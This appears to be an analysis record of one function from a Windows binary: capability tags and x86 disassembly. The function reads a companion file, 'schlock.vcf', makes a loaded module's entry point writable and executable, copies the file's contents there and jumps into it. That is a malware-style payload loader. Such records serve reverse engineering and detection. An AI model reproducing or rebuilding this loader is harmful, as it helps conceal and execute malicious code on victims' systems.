Function at 0x10038300
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x5c
mov eax, dword [str.kernel32.dll]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
sub esp, 4
mov edi, eax
mov eax, dword [0x10084ec0]
mov dword [esp + 0xc], 4
mov dword [esp + 8], 0x1000
mov dword [esp + 4], eax
mov dword [esp], 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
sub esp, 0x10
mov ebx, eax
mov eax, dword [0x10084ec0]
mov dword [esp + 4], eax
mov dword [esp], ebx
call fcn.100382b7
mov dword [esp + 8], 0x104
mov dword [esp + 4], ebx
mov dword [esp], 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
sub esp, 0xc
mov ecx, dword [str.schlock.vcf]
mov eax, 0
cmp word [ebx], 0
je 0x1003838d
add eax, 1
cmp word [ebx + eax*2], 0
jne 0x10038383
cmp word [ebx + eax*2 - 2], 0x5c
je 0x100383a6
mov word [ebx + eax*2], 0
sub eax, 1
cmp word [ebx + eax*2 - 2], 0x5c
jne 0x10038395
movzx edx, byte [ecx]
lea esi, [ebx + eax*2]
lea eax, [ecx + 1]
test dl, dl
je 0x100383c7
movsx dx, dl
mov word [esi], dx
movzx edx, byte [eax]
add esi, 2
add eax, 1
test dl, dl
jne 0x100383b3
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0x80
mov dword [esp + 0x10], 3
mov dword [esp + 0xc], 0
mov dword [esp + 8], 1
mov dword [esp + 4], 1
mov dword [esp], ebx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
sub esp, 0x1c
mov ebx, eax
cmp eax, 0xffffffff
je 0x100385da
mov dword [esp + 4], 0
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
sub esp, 8
mov ebp, eax
mov eax, dword [0x10084ec4]
mov dword [esp + 0xc], 4
mov dword [esp + 8], 0x1000
mov dword [esp + 4], eax
mov dword [esp], 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
sub esp, 0x10
mov esi, eax
mov dword [esp + 0x4c], 0
mov dword [esp + 0x10], 0
lea eax, [esp + 0x4c]
mov dword [esp + 0xc], eax
mov dword [esp + 8], ebp
mov dword [esp + 4], esi
mov dword [esp], ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
sub esp, 0x14
test eax, eax
je 0x100385da
mov eax, dword [esp + 0x4c]
mov dword [esp + 0x24], eax
mov ebx, dword [0x10084eb8]
add ebx, esi
mov edx, dword [ebx]
mov ecx, dword [ebx + 4]
test edx, edx
je 0x100384ac
mov eax, 0
add dword [ebx + eax*4 + 8], ecx
add eax, 1
cmp eax, edx
jne 0x100384a1
mov eax, dword [0x10084ee8]
add ebx, eax
lea eax, [ebx + 1]
mov dword [esp + 4], eax
mov dword [esp], edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
sub esp, 8
mov ebp, eax
test eax, eax
je 0x100385da
movsx eax, byte [ebx]
add ebx, eax
lea eax, [ebx + 1]
mov dword [esp + 4], eax
mov dword [esp], edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
sub esp, 8
mov edi, eax
test eax, eax
je 0x100385da
movsx eax, byte [ebx]
add ebx, eax
lea eax, [ebx + 1]
mov dword [esp], eax
call ebp
sub esp, 4
test eax, eax
je 0x100385da
add esi, dword [esp + 0x24]
movsx edx, byte [ebx]
add ebx, edx
lea ecx, [ebx + 0xc]
mov edx, dword [ebx + 4]
mov dword [esp + 0x28], edx
mov ebp, dword [ebx + 8]
mov dword [esp + 0x24], ecx
lea ebx, [ecx + ebp]
mov dword [esp + 0x2c], ebx
mov edx, dword [eax + 0x3c]
add eax, dword [eax + edx + 0x2c]
mov ebx, eax
mov dword [esp + 0x48], 0
lea eax, [esp + 0x48]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x40
mov dword [esp + 4], ebp
mov dword [esp], ebx
call edi
sub esp, 0x10
mov dword [esp + 8], ebp
mov ecx, dword [esp + 0x24]
mov dword [esp + 4], ecx
mov dword [esp], ebx
call fcn.100382d6
lea eax, [esp + 0x48]
mov dword [esp + 0xc], eax
mov eax, dword [esp + 0x48]
mov dword [esp + 8], eax
mov dword [esp + 4], ebp
mov dword [esp], ebx
call edi
sub esp, 0x10
add ebx, dword [esp + 0x28]
mov eax, dword [0x10084eb0]
cmp byte [eax], 0
je 0x100385e2
mov edx, 0
mov eax, dword [0x10084eb0]
movsx ax, byte [eax + edx]
mov word [esi + edx*2], ax
add edx, 1
mov ecx, dword [0x10084eb0]
mov eax, edx
cmp byte [ecx + edx], 0
jne 0x1003859b
mov word [esi + eax*2], 0
mov dword [esp + 0x40], esi
mov eax, dword [esp + 0x2c]
mov dword [esp + 0x3c], eax
mov byte [esp + 0x44], 1
lea eax, [esp + 0x3c]
mov dword [esp], eax
call ebx
add esp, 0x5c
pop ebx
pop esi
pop edi
pop ebp
ret
mov eax, 0
jmp 0x100385ba